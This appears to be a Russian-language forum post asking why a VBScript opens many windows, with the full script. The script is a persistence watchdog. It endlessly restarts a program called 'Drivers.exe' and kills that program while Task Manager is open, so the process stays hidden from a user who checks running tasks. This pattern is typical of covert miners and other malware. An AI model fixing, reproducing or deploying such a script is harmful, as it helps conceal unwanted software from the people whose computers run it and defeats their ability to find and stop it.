При запуске скрипта открывается много окон программы. Напишите ошибки
Set WshShell = CreateObject("WScript.Shell")
Set WshShell = Nothing
On error resume next
Set WshShell = WScript.CreateObject("WScript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
' General Launching and Checking
do
WScript.Sleep 500
' Task Manager
Set taskcolitem = objWMIService.ExecQuery("Select * from Win32_Process")
taskmgrisrun=false
For Each objItem in taskcolitem
If objItem.Name = "Taskmgr.exe" OR objItem.Name = "taskmgr.exe" Then
taskmgrisrun = True
Exit For
End If
Next
' End Task Manager
Running = False
Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")
For Each objItem in colItems
If objItem.Name = "Drivers.exe" Then
Running = True
Set thisprocess=objItem
Exit For
End If
Next
If taskmgrisrun Then
If Running Then
thisprocess.Terminate
End if
End if
If Not Running Then
WScript.Sleep 500
WshShell.Run "Drivers.exe"
End if
Loop